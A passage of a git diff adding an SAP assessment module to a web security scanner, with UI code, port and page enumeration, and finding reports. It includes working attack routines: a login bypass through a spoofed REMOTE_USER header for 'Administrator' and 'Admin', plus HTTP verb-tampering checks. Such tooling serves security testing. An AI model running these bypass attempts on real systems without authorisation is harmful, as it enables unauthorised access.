mod_tab_control_2.TabPages['tab_page_5'].Controls.Add(http_analyzer_out_tb) + ui.ModControls['http_analyzer_out_tb'] = http_analyzer_out_tb + mod_tab_control_2.TabPages.Add('tab_page_6', ' Web Services Results ') + web_services_out_tb = ModTextBox() + web_services_out_tb.Name = 'web_services_out_tb' + web_services_out_tb.Size = ModUiTools.GetSizeDefinition(772,445) + web_services_out_tb.Location = ModUiTools.GetLocationDefinition(0,0) + web_services_out_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + web_services_out_tb.Dock = ModUiTools.GetDockStyleDefinition('Fill') + web_services_out_tb.Enabled = True + web_services_out_tb.BackColor = ModUiTools.GetColorDefinition(-1) + web_services_out_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + web_services_out_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + web_services_out_tb.ReadOnly = True + web_services_out_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Both') + web_services_out_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + web_services_out_tb.Multiline = True + web_services_out_tb.WordWrap = True + web_services_out_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_tab_control_2.TabPages['tab_page_6'].Controls.Add(web_services_out_tb) + ui.ModControls['web_services_out_tb'] = web_services_out_tb + mod_tab_control_2.TabPages.Add('tab_page_7', ' RFC ') + banner_rfc = ModLabel() + banner_rfc.Name = 'banner_rfc' + banner_rfc.Size = ModUiTools.GetSizeDefinition(363,44) + banner_rfc.Location = ModUiTools.GetLocationDefinition(179,182) + banner_rfc.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + banner_rfc.Dock = ModUiTools.GetDockStyleDefinition('None') + banner_rfc.Enabled = True + banner_rfc.BackColor = ModUiTools.GetColorDefinition(16777215) + banner_rfc.ForeColor = ModUiTools.GetColorDefinition(-16777216) + banner_rfc.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + banner_rfc.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',15.75,True,True,False,False) + banner_rfc.Text = Tools.Base64Decode('Q29tbWluZyBVcCBOZXh0') + mod_tab_control_2.TabPages['tab_page_7'].Controls.Add(banner_rfc) + ui.ModControls['banner_rfc'] = banner_rfc + ui.Controls.Add(mod_tab_control_2) + ui.ModControls['mod_tab_control_2'] = mod_tab_control_2 + start_btn = ModButton() + start_btn.Name = 'start_btn' + start_btn.Size = ModUiTools.GetSizeDefinition(92,23) + start_btn.Location = ModUiTools.GetLocationDefinition(504,27) + start_btn.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + start_btn.Dock = ModUiTools.GetDockStyleDefinition('None') + start_btn.Enabled = True + start_btn.BackColor = ModUiTools.GetColorDefinition(-986896) + start_btn.ForeColor = ModUiTools.GetColorDefinition(-16777216) + start_btn.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + start_btn.Text = Tools.Base64Decode('U3RhcnQ=') + start_btn.Click += lambda s,e: self.start() + ui.Controls.Add(start_btn) + ui.ModControls['start_btn'] = start_btn + url_tb = ModTextBox() + url_tb.Name = 'url_tb' + url_tb.Size = ModUiTools.GetSizeDefinition(330,20) + url_tb.Location = ModUiTools.GetLocationDefinition(155,30) + url_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + url_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + url_tb.Enabled = True + url_tb.BackColor = ModUiTools.GetColorDefinition(-1) + url_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + url_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + url_tb.ReadOnly = False + url_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('None') + url_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + url_tb.Multiline = False + url_tb.WordWrap = True + url_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + ui.Controls.Add(url_tb) + ui.ModControls['url_tb'] = url_tb + mod_label_7 = ModLabel() + mod_label_7.Name = 'mod_label_7' + mod_label_7.Size = ModUiTools.GetSizeDefinition(150,23) + mod_label_7.Location = ModUiTools.GetLocationDefinition(13,32) + mod_label_7.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_7.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_7.Enabled = True + mod_label_7.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_7.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_7.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_7.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_7.Text = Tools.Base64Decode('RW50ZXIgdGFyZ2V0IElQL0hvc3RuYW1lOg==') + ui.Controls.Add(mod_label_7) + ui.ModControls['mod_label_7'] = mod_label_7 + mod_label_8 = ModLabel() + mod_label_8.Name = 'mod_label_8' + mod_label_8.Size = ModUiTools.GetSizeDefinition(104,23) + mod_label_8.Location = ModUiTools.GetLocationDefinition(1114,20) + mod_label_8.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_8.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_8.Enabled = True + mod_label_8.BackColor = ModUiTools.GetColorDefinition(-16744448) + mod_label_8.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_8.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_8.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',15.75,True,True,False,False) + mod_label_8.Text = Tools.Base64Decode('SXJvblNBUA==') + ui.Controls.Add(mod_label_8) + ui.ModControls['mod_label_8'] = mod_label_8 + ui.ShowUi() + + self.ui = ui + + def start(self): + if self.ui.ModControls['start_btn'].Text == "Start": + if self.ui.ModControls['perform_attack_cb'].Checked == True: + self.perform_attack = True + else: + self.perform_attack = False + if self.ui.ModControls['verbose_output_cb'].Checked == True: + self.verbose = True + else: + self.verbose = False + self.target = self.ui.ModControls['url_tb'].Text + try: + self.thread_id = IronThread.Run(start.begin, self) + self.ui.ModControls['start_btn'].SetText("Stop") + except Exception as e: + self.ui.ModControls['combined_out_tb'].SetText("Error Scanning - {0}".format(e.message)) + else: + IronThread.Stop(self.thread_id) + self.ui.ModControls['combined_out_tb'].AddText('Scanning stopped.\r\n') + self.ui.ModControls['start_btn'].SetText("Start") + + def stopper(self): + #self.print_out("Stopping scan....",0) + self.print_out("Scan stopped",0) + self.ui.ModControls['start_btn'].SetText("Start") + try: + IronThread.Stop(self.thread_id) + except: + pass + + def print_out(self, data, place): + self.ui.ModControls['combined_out_tb'].AddText("{0}\r\n".format(data)) + if place == 1: + self.ui.ModControls['fingerprint_out_tb'].AddText("{0}\r\n".format(data)) + elif place == 2: + self.ui.ModControls['http_analyzer_out_tb'].AddText("{0}\r\n".format(data)) + elif place == 3: + self.ui.ModControls['web_services_out_tb'].AddText("{0}\r\n".format(data)) + +m = IronSAP() +Module.Add(m.GetInstance()) diff --git a/Iron/bin/Debug/modules/IronSAP/IronSAPCore/__init__.py b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Iron/bin/Debug/modules/IronSAP/IronSAPCore/db.py b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/db.py new file mode 100644 index 0000000..a3db246 --- /dev/null +++ b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/db.py @@ -0,0 +1,71 @@ +import clr +clr.AddReference("System") +clr.AddReference("System.Data") +clr.AddReference("System.Data.SQLite") + +import System +from System.Data.SQLite import * +import fingerprint +#import httppages +from IronWASP import * +import webservices as ws + +class dbwrite(): + + def __init__(self, isap): + self.isap = isap + pass + def pingwrite(self,values): + pass + #self.isap.print_out("Writing Ping values to DB\r\n", 0) + #for x in values: + # print x + def portscanwrite(self,values): + #self.isap.print_out("Writing PortScan values to DB\r\n", 0) + self.isap.print_out("\r\nPort Scan Result (arranged by the associated service) :\r\n", 1) + port_count = 0 + for value in values.iterkeys(): + if value != "ip" and value != "actid": + port_count = port_count + len(values[value]) + self.isap.print_out(value+": " + self.port_list_to_str(values[value]), 1) + if port_count > 0: + fp1 = fingerprint.fingerprint(values, self.isap) + fp1.starts() + else: + self.isap.print_out("\r\nNo open ports found. Cannot proceed further.", 1) + self.isap.stopper() + + def fingerprintwrite(self,response200,response404,response401,values): + #print response200,response404,response401,values + #print "Displaying HTML Analysis Results:" + + if self.isap.verbose: + self.isap.print_out("Responses for Requests that returned a Response 200:" + str(response200) + "\r\n", 2) + self.isap.print_out("\r\n", 2) + self.isap.print_out("Information Gathered from Error Pages:" + str(response404) + "\r\n", 2) + self.isap.print_out("\r\n", 2) + self.isap.print_out("Result of Verb Tampering:" + str(response401) + "\r\n", 2) + #ws = webservices.webservices(values) + #ws.start() + +# print "Detailed Page Analysis Results:","\n" +# print pagechecker + #hp = httppages.httppages() + #hp.starts() + + def port_list_to_str(self, port_list): + if len(port_list) == 0: + return " -" + else: + res = "" + for port in port_list: + res = str(port) + ", " + return res.strip().rstrip(",") + + + + + + + + \ No newline at end of file diff --git a/Iron/bin/Debug/modules/IronSAP/IronSAPCore/fingerprint.py b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/fingerprint.py new file mode 100644 index 0000000..8f9acb8 --- /dev/null +++ b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/fingerprint.py @@ -0,0 +1,327 @@ +import clr +clr.AddReference("System") +clr.AddReference("System.Data") +clr.AddReference("System.Data.SQLite") + +import System +from System.Data.SQLite import * +from IronWASP import * +import re +import db as db2 +import webservices as ws + + +class fingerprint: + + def page301(self): + + if len(self.page301list)>0: + for x in self.page301list: + sess = Session.FromLog(x,"IronSAP") + req = sess.Request + resp = sess.Response + headers = resp.Headers + if self.isap.verbose: + print headers.Get("Location"),"\n", + + def checkpages2(self): + #This is the call to the web services Module + ws1 = ws.webservices(self.val,self.isap) + #Tools.Trace("fingerprint.py","checkll pages 2") + ws1.start() + + + def loginbypass(self,session,username): + req = session.Request + resp = session.Response + c = CookieStore() + response = Crawler.GetFormSubmissions(req, resp, c) + header = response[0].Headers + header.Set("REMOTE_USER",username) + resp1 = response[0].Send() + resphtml = resp1.Html + #print resphtml.Get("script","src","/irj/portalapps/com.sap.portal.runtime.logon/js/basic.js") + val = len(resphtml.Get("script","src","/irj/portalapps/com.sap.portal.runtime.logon/js/basic.js")) + if val==0: + pr = Finding(session.Request.Host) + pr.Title = "SAP Login Bypass Possible" + pr.Summary = "SAP Web Login bypass could be possible with Header Inclusion attack -- SAP Active Directory Authtenction in use." + pr.Plugin = " " + pr.Triggers.Add(resp1.Headers.Get("REMOTE_USER"),response[0],"",resp1) + g = FindingSeverity.High + h = FindingConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + else: + self.isap.print_out("Remote Authentication did not work."+"\n", 1) + + + def checkpages(self): + #Tools.Trace("fingerprint.py","CheckPages Start") + urlist = ["/mmr/MMR","/sap/public/info","/run/build_info.jsp","/rep/build_info.html","/sap/admin/public/index.html","/irj/portal"] + if len(self.page200list)>0: + #print "Performing Analysis of Pages that has been found...." + for req in self.page200list: + sess = Session.FromLog(req,"IronSAP") + #Tools.Trace("fingerprint.py",str(sess)) + if self.isap.perform_attack: + req = sess.Request + scan = Scanner(req) + scan.CheckAll() + scan.InjectAll() + scan.LaunchScan() + requrl = sess.Request.UrlPath + for url in urlist: + if requrl==url: + if requrl == "/irj/portal": + self.isap.print_out("Attempting to Bypass the Login using Additional Header\n", 1) + usernames = ["Administrator","Admin"] + for username in usernames: + self.isap.print_out( "Trying to login with username: "+username+"\n", 1) + self.loginbypass(sess,username) + if requrl=="/sap/admin/public/index.html": + #self.pagecheckerlist.append(sess.Request.FullUrl+" "+"==>"+" SAP Web Administration Interface") + pr = Finding(sess.Request.Host) + pr.Title = "SAP Web Administration Interface" + pr.Summary = "Web Administration Interface could leak some sensitive information." + pr.Plugin = " " + pr.Triggers.Add('Administration',sess.Request,"",sess.Response) + g = FindingSeverity.Medium + h = FindingConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + if requrl=="/sap/public/info": + pr = Finding(sess.Request.Host) + pr.Title = "The Info Service" + pr.Summary = "Discloses sensitive information of the SAP infrastructure" + pr.Plugin = " " + pr.Triggers.Add('Info Service',sess.Request,"",sess.Response) + g = FindingSeverity.High + h = FindingConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + #print self.page301list,"301 List" + #Tools.Trace("fingerprint.py","calling Web Service") + self.checkpages2() + + + def resultstorer(self,type,value): + if type=="page401": + lens = len(self.page401res) + self.page401res[lens+1]=value + if type=="page200": + lens = len(self.page200res) + self.page200res[lens+1]=value + if type=="page404": + lens = len(self.error404res) + self.error404res[lens+1]=value + + def page401(self): + #Tools.Trace("fingerprint.py","page401 - start") + #print " I am in here " + if len(self.page401list)>0: + #print len(self.page401list) + for req in self.page401list: + sess = Session.FromLog(req,"IronSAP") + requrl = sess.Request.FullUrl + req1 = Request("HEAD",requrl) + resp = req1.Send() + #print resp.ToString(),req1.FullUrl + if resp.Code==200: + pr = Finding(sess.Request.Host) + pr.Title = "Possible VERB Tampering" + pr.Summary = "Resources that are protected with login could be accessed by changing the HTTP Request Method." + pr.Plugin = " " + pr.Triggers.Add("",req1,"",resp) + g = FindingSeverity.High + h = FindingConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + self.resultstorer("page401",[req1.FullUrl,resp.ToString()]) + #Tools.Trace("fingerprint.py","page401 - end") + self.resultcounter() + + + def resultcounter(self): + self.respcounter=self.respcounter+1 + if self.respcounter==3: + #self.resultprinter() + self.respcounter = 0 + dbw = db2.dbwrite(self.isap) + dbw.fingerprintwrite(self.page200res,self.error404res,self.page401res,self.val) + #Tools.Trace("fingerprint.py","resultcounter") + self.checkpages() + + + def resultprinter(self): + print self.page200res + print self.error404res + + + def page404(self): + #Tools.Trace("fingerprint.py","page404 - start") + if len(self.page404list)>0: + #print len(self.page404list) + for req in self.page404list: + sess = Session.FromLog(req,"IronSAP") + resp = sess.Response.ToString() + match = re.search(r"[\w\s]+_[\w\s]+_\d\d",resp) + if match: + result = match.group() + else: + result = "" + if result!="": + resultsz = re.split("_",result) + pr = Finding(sess.Request.Host) + pr.Title = "Critical Information in Page Not Found Pages" + pr.Summary = "The Error Page for HTTP response seems to be leaking a critical infrastructure information." + pr.Plugin = " " + info = resultsz[0]+" "+resultsz[2]+" "+resultsz[1] + pr.Triggers.Add(info,sess.Request,"",sess.Response) + g = FindingSeverity.High + h = FindingConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + self.resultstorer("page404",[resultsz[0],resultsz[2],resultsz[1],sess.Request.FullUrl]) + self.resultcounter() + + def page200(self): + #Tools.Trace("fingerprint.py","page200 - start") + if len(self.page200list)>0: + for req in self.page200list: + #Tools.Trace("page200",str(req)) + sess = Session.FromLog(req,"IronSAP") #Delete this Later... + #Tools.Trace("page200",str(sess)) + resp = sess.Response + resphtml = resp.Html + #logincheck = resphtml.Get("input","name","sap-system-login") + if len(resphtml.Get("script","src","/irj/portalapps/com.sap.portal.runtime.logon/js/basic.js"))>0: + self.resultstorer("page200",[sess.Request.FullUrl,"LOGIN Page"]) + else: + #pr = Finding(sess.Request.Host) + #pr.Title = "Interesting Pages" + #pr.Summary = "Pages with some interesting content found.further automated analysis will be performed and mannual tests can be performed." + #pr.Plugin = " " + #pr.Triggers.Add("",sess.Request,"",sess.Response) + #pr.FindingType = FindingType.TestLead + #pr.Report() + self.resultstorer("page200",[sess.Request.FullUrl,"Interesting Page"]) + else: + pass + self.resultcounter() + + + def htmlpages(self,ports): + self.isap.print_out("Fetching the webpages from the list .. only displaying 200 & 401 Responses. For all responses turn on Verbose mode...."+"\n", 0) + ip = self.val["ip"] + portlist = ports + loc = Config.Path+"\\modules\\IronSAP\\" + f = open(loc+"sapurl.txt") + lines = f.readlines() + for port in portlist: + proto = "http://" + try: + Request("http://" + ip + ":" + str(port)).Send() + except: + try: + Request("https://" + ip + ":" + str(port)).Send() + proto = "https://" + except: + pass + for line in lines: + try: + url = proto + ip + ":" + port+line.rstrip('\r\n') + req = Request(url) + req.SetSource("IronSAP") + req.Headers.Set("User-Agent","Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1") + resp = req.Send() + #print url,resp.Code,resp.Status,req.GetId(),"\n" + if resp.Code==200: + self.isap.print_out(url+str(resp.Code)+str(resp.Status)+str(req.GetId())+"\n", 2) + self.page200list.append(req.GetId()) + elif resp.Code==401: + self.isap.print_out(url+str(resp.Code)+str(resp.Status)+str(req.GetId())+"\n", 2) + self.page401list.append(req.GetId()) + elif resp.Code==404: + if self.isap.verbose: + self.isap.print_out(url+str(resp.Code)+str(resp.Status)+str(req.GetId())+"\n", 2) + self.page404list.append(req.GetId()) + elif resp.Code==301: + self.page301list.append(req.GetId()) + if self.isap.verbose: + self.isap.print_out(url+str(resp.Code)+str(resp.Status)+str(req.GetId())+"\n", 1) + else: + if self.isap.verbose: + pass#self.isap.print_out(url+str(resp.Code)+str(resp.Status)+str(req.GetId())+"\n", 1) + except: + if self.isap.verbose: + self.isap.print_out("Could not connect to the URL"+url, 1) + self.isap.print_out("Pages Request Completed"+"\n", 0) + self.sleeper() + + + def fpcontroller(self): + self.isap.print_out("Starting HTTP Responses Analysis ....", 0) + if len(self.page200list) != 0: + IronThread.Run(self.page200) + else: + self.respcounter = self.respcounter+1 + if len(self.page404list) != 0: + IronThread.Run(self.page404) + else: + self.respcounter = self.respcounter+1 + if len(self.page401list)!= 0: + IronThread.Run(self.page401) + else: + self.respcounter = self.respcounter+1 + #Tools.Trace("fingerprint.py","fpcontroller - end") + #IronThread.Run(self.page301) + + + + def sleeper1(self): + IronThread.Sleep(5000) + self.fpcontroller() + + def sleeper(self): + IronThread.Run(self.sleeper1) + + def __init__(self,values,isap): + self.isap = isap + self.val = values + self.page200list = [] + self.page404list = [] + self.page301list = [] + self.page401list = [] + self.error404res = {} + self.page200res = {} + self.page401res={} + self.respcounter = 0 + self.pagecheckerlist=[] + + def starts(self): + httpports = [] + f = open("ports.txt","a") + for port in self.val["HTTP Services"]: + httpports.append(str(port)) + for port in self.val["Message Server HTTP"]: + httpports.append(str(port)) + for port in self.val["ICM HTTP"]: + httpports.append(str(port)) + for port in self.val["JAVA HTTP"]: + httpports.append(str(port)) + + if len(httpports) > 0: + self.isap.print_out("\r\nHTTP Ports detected are:"+"\n", 0) + for port in httpports: + self.isap.print_out(str(port), 0) + self.htmlpages(httpports) + else: + self.isap.print_out("\r\nNo HTTP ports dectected. Cannot proceed further.", 0) + self.isap.stopper() + \ No newline at end of file diff --git a/Iron/bin/Debug/modules/IronSAP/IronSAPCore/ping.py b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/ping.py new file mode 100644 index 0000000..a5d570c --- /dev/null +++ b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/ping.py @@ -0,0 +1,38 @@ +from System.Net.NetworkInformation import Ping + +class PingCheck(): + def __init__(self,ipaddress,activeid, isap): + self.ipadd = ipaddress + self.activeid = activeid + self.isap = isap + + def ping(self): + ipaddress = self.ipadd + self.isap.print_out("connecting to : "+ipaddress, 0) + ping = Ping() + try: + pingres = ping.Send(ipaddress) + status = pingres.Status.ToString() + if status == 'Success': + rest = [self.activeid, pingres.Address.ToString(), status,pingres.Options.Ttl] + else: + rest = [self.activeid, "", status,0] + return rest + except: + self.isap.print_out(ipaddress + " is not reachable", 0) + #self.isap.print_out(str(status), 0) + self.isap.stopper() + +# if status == "Success": +# self.isap.print_out(ipaddress+" is Alive ...", 0) +# rest = [self.activeid,pingres.Address.ToString(),status,pingres.Options.Ttl] +# return rest +# else: +# self.isap.print_out("Host Down", 0) +# rest = [self.activeid,ipaddress,status,"Host Down"] +# isap.stopper() + #return rest + + + + \ No newline at end of file diff --git a/Iron/bin/Debug/modules/IronSAP/IronSAPCore/portscan.py b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/portscan.py new file mode 100644 index 0000000..ca1da40 --- /dev/null +++ b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/portscan.py @@ -0,0 +1,22 @@ +from IronWASP import * +import db as db2 + +class portscan: + def __init__(self,ip,actid, isap): + self.portscanlist = {"JMS":"50010, 50110, 50210, 50310, 50410, 50510, 50610, 50710, 50810, 50910, 51010, 51110, 51210, 51310, 51410, 51510, 51610, 51710, 51810, 51910, 52010, 52110, 52210, 52310, 52410, 52510, 52610, 52710, 52810, 52910, 53010, 53110, 53210, 53310, 53410, 53510, 53610, 53710, 53810, 53910, 54010, 54110, 54210, 54310, 54410, 54510, 54610, 54710, 54810, 54910, 55010, 55110, 55210, 55310, 55410, 55510, 55610, 55710, 55810, 55910, 56010, 56110, 56210, 56310, 56410, 56510, 56610, 56710, 56810, 56910, 57010, 57110, 57210, 57310, 57410, 57510, 57610, 57710, 57810, 57910, 58010, 58110, 58210, 58310, 58410, 58510, 58610, 58710, 58810, 58910, 59010, 59110, 59210, 59310, 59410, 59510, 59610, 59710, 59810, 59910","TELNET":"50008, 50108, 50208, 50308, 50408, 50508, 50608, 50708, 50808, 50908, 51008, 51108, 51208, 51308, 51408, 51508, 51608, 51708, 51808, 51908, 52008, 52108, 52208, 52308, 52408, 52508, 52608, 52708, 52808, 52908, 53008, 53108, 53208, 53308, 53408, 53508, 53608, 53708, 53808, 53908, 54008, 54108, 54208, 54308, 54408, 54508, 54608, 54708, 54808, 54908, 55008, 55108, 55208, 55308, 55408, 55508, 55608, 55708, 55808, 55908, 56008, 56108, 56208, 56308, 56408, 56508, 56608, 56708, 56808, 56908, 57008, 57108, 57208, 57308, 57408, 57508, 57608, 57708, 57808, 57908, 58008, 58108, 58208, 58308, 58408, 58508, 58608, 58708, 58808, 58908, 59008, 59108, 59208, 59308, 59408, 59508, 59608, 59708, 59808, 59908","IIOP":"50007, 50107, 50207, 50307, 50407, 50507, 50607, 50707, 50807, 50907, 51007, 51107, 51207, 51307, 51407, 51507, 51607, 51707, 51807, 51907, 52007, 52107, 52207, 52307, 52407, 52507, 52607, 52707, 52807, 52907, 53007, 53107, 53207, 53307, 53407, 53507, 53607, 53707, 53807, 53907, 54007, 54107, 54207, 54307, 54407, 54507, 54607, 54707, 54807, 54907, 55007, 55107, 55207, 55307, 55407, 55507, 55607, 55707, 55807, 55907, 56007, 56107, 56207, 56307, 56407, 56507, 56607, 56707, 56807, 56907, 57007, 57107, 57207, 57307, 57407, 57507, 57607, 57707, 57807, 57907, 58007, 58107, 58207, 58307, 58407, 58507, 58607, 58707, 58807, 58907, 59007, 59107, 59207, 59307, 59407, 59507, 59607, 59707, 59807, 59907","P4 over SSL":"50006, 50106, 50206, 50306, 50406, 50506, 50606, 50706, 50806, 50906, 51006, 51106, 51206, 51306, 51406, 51506, 51606, 51706, 51806, 51906, 52006, 52106, 52206, 52306, 52406, 52506, 52606, 52706, 52806, 52906, 53006, 53106, 53206, 53306, 53406, 53506, 53606, 53706, 53806, 53906, 54006, 54106, 54206, 54306, 54406, 54506, 54606, 54706, 54806, 54906, 55006, 55106, 55206, 55306, 55406, 55506, 55606, 55706, 55806, 55906, 56006, 56106, 56206, 56306, 56406, 56506, 56606, 56706, 56806, 56906, 57006, 57106, 57206, 57306, 57406, 57506, 57606, 57706, 57806, 57906, 58006, 58106, 58206, 58306, 58406, 58506, 58606, 58706, 58806, 58906, 59006, 59106, 59206, 59306, 59406, 59506, 59606, 59706, 59806, 59906","P4":"50004, 50104, 50204, 50304, 50404, 50504, 50604, 50704, 50804, 50904, 51004, 51104, 51204, 51304, 51404, 51504, 51604, 51704, 51804, 51904, 52004, 52104, 52204, 52304, 52404, 52504, 52604, 52704, 52804, 52904, 53004, 53104, 53204, 53304, 53404, 53504, 53604, 53704, 53804, 53904, 54004, 54104, 54204, 54304, 54404, 54504, 54604, 54704, 54804, 54904, 55004, 55104, 55204, 55304, 55404, 55504, 55604, 55704, 55804, 55904, 56004, 56104, 56204, 56304, 56404, 56504, 56604, 56704, 56804, 56904, 57004, 57104, 57204, 57304, 57404, 57504, 57604, 57704, 57804, 57904, 58004, 58104, 58204, 58304, 58404, 58504, 58604, 58704, 58804, 58904, 59004, 59104, 59204, 59304, 59404, 59504, 59604, 59704, 59804, 59904","IIOP-SSL":"50003, 50103, 50203, 50303, 50403, 50503, 50603, 50703, 50803, 50903, 51003, 51103, 51203, 51303, 51403, 51503, 51603, 51703, 51803, 51903, 52003, 52103, 52203, 52303, 52403, 52503, 52603, 52703, 52803, 52903, 53003, 53103, 53203, 53303, 53403, 53503, 53603, 53703, 53803, 53903, 54003, 54103, 54203, 54303, 54403, 54503, 54603, 54703, 54803, 54903, 55003, 55103, 55203, 55303, 55403, 55503, 55603, 55703, 55803, 55903, 56003, 56103, 56203, 56303, 56403, 56503, 56603, 56703, 56803, 56903, 57003, 57103, 57203, 57303, 57403, 57503, 57603, 57703, 57803, 57903, 58003, 58103, 58203, 58303, 58403, 58503, 58603, 58703, 58803, 58903, 59003, 59103, 59203, 59303, 59403, 59503, 59603, 59703, 59803, 59903","IIOP Initial Context":"50002, 50102, 50202, 50302, 50402, 50502, 50602, 50702, 50802, 50902, 51002, 51102, 51202, 51302, 51402, 51502, 51602, 51702, 51802, 51902, 52002, 52102, 52202, 52302, 52402, 52502, 52602, 52702, 52802, 52902, 53002, 53102, 53202, 53302, 53402, 53502, 53602, 53702, 53802, 53902, 54002, 54102, 54202, 54302, 54402, 54502, 54602, 54702, 54802, 54902, 55002, 55102, 55202, 55302, 55402, 55502, 55602, 55702, 55802, 55902, 56002, 56102, 56202, 56302, 56402, 56502, 56602, 56702, 56802, 56902, 57002, 57102, 57202, 57302, 57402, 57502, 57602, 57702, 57802, 57902, 58002, 58102, 58202, 58302, 58402, 58502, 58602, 58702, 58802, 58902, 59002, 59102, 59202, 59302, 59402, 59502, 59602, 59702, 59802, 59902","JAVA HTTP":"50000, 50100, 50200, 50300, 50400, 50500, 50600, 50700, 50800, 50900, 51000, 51100, 51200, 51300, 51400, 51500, 51600, 51700, 51800, 51900, 52000, 52100, 52200, 52300, 52400, 52500, 52600, 52700, 52800, 52900, 53000, 53100, 53200, 53300, 53400, 53500, 53600, 53700, 53800, 53900, 54000, 54100, 54200, 54300, 54400, 54500, 54600, 54700, 54800, 54900, 55000, 55100, 55200, 55300, 55400, 55500, 55600, 55700, 55800, 55900, 56000, 56100, 56200, 56300, 56400, 56500, 56600, 56700, 56800, 56900, 57000, 57100, 57200, 57300, 57400, 57500, 57600, 57700, 57800, 57900, 58000, 58100, 58200, 58300, 58400, 58500, 58600, 58700, 58800, 58900, 59000, 59100, 59200, 59300, 59400, 59500, 59600, 59700, 59800, 59900","JAVA HTTPS":"50001, 50101, 50201, 50301, 50401, 50501, 50601, 50701, 50801, 50901, 51001, 51101, 51201, 51301, 51401, 51501, 51601, 51701, 51801, 51901, 52001, 52101, 52201, 52301, 52401, 52501, 52601, 52701, 52801, 52901, 53001, 53101, 53201, 53301, 53401, 53501, 53601, 53701, 53801, 53901, 54001, 54101, 54201, 54301, 54401, 54501, 54601, 54701, 54801, 54901, 55001, 55101, 55201, 55301, 55401, 55501, 55601, 55701, 55801, 55901, 56001, 56101, 56201, 56301, 56401, 56501, 56601, 56701, 56801, 56901, 57001, 57101, 57201, 57301, 57401, 57501, 57601, 57701, 57801, 57901, 58001, 58101, 58201, 58301, 58401, 58501, 58601, 58701, 58801, 58901, 59001, 59101, 59201, 59301, 59401, 59501, 59601, 59701, 59801, 59901","Databse":"1527,1433","Gateway-Secure":"4800-4899","ICM - SMTP":"25","ICM - HTTPS":"44300-44399","Message Server HTPPS":"44400-44499","Dispatcher":"3200-3299","ICM HTTP":"8000-8099","Gateway":"3300-3399","Message Server":"3600-3699","Message Server HTTP":"8100-8199","Start Service":"50013, 50113, 50213, 50313, 50413, 50513, 50613, 50713, 50813, 50913, 51013, 51113, 51213, 51313, 51413, 51513, 51613, 51713, 51813, 51913, 52013, 52113, 52213, 52313, 52413, 52513, 52613, 52713, 52813, 52913, 53013, 53113, 53213, 53313, 53413, 53513, 53613, 53713, 53813, 53913, 54013, 54113, 54213, 54313, 54413, 54513, 54613, 54713, 54813, 54913, 55013, 55113, 55213, 55313, 55413, 55513, 55613, 55713, 55813, 55913, 56013, 56113, 56213, 56313, 56413, 56513, 56613, 56713, 56813, 56913, 57013, 57113, 57213, 57313, 57413, 57513, 57613, 57713, 57813, 57913, 58013, 58113, 58213, 58313, 58413, 58513, 58613, 58713, 58813, 58913, 59013, 59113, 59213, 59313, 59413, 59513, 59613, 59713, 59813, 59913","Secure Start Service":"50014, 50114, 50214, 50314, 50414, 50514, 50614, 50714, 50814, 50914, 51014, 51114, 51214, 51314, 51414, 51514, 51614, 51714, 51814, 51914, 52014, 52114, 52214, 52314, 52414, 52514, 52614, 52714, 52814, 52914, 53014, 53114, 53214, 53314, 53414, 53514, 53614, 53714, 53814, 53914, 54014, 54114, 54214, 54314, 54414, 54514, 54614, 54714, 54814, 54914, 55014, 55114, 55214, 55314, 55414, 55514, 55614, 55714, 55814, 55914, 56014, 56114, 56214, 56314, 56414, 56514, 56614, 56714, 56814, 56914, 57014, 57114, 57214, 57314, 57414, 57514, 57614, 57714, 57814, 57914, 58014, 58114, 58214, 58314, 58414, 58514, 58614, 58714, 58814, 58914, 59014, 59114, 59214, 59314, 59414, 59514, 59614, 59714, 59814, 59914","HTTP Services":"8086",} + self.dbdict={} + self.ip = ip + self.actid = actid + self.isap = isap + def controller(self): + for lin in self.portscanlist.iterkeys(): + 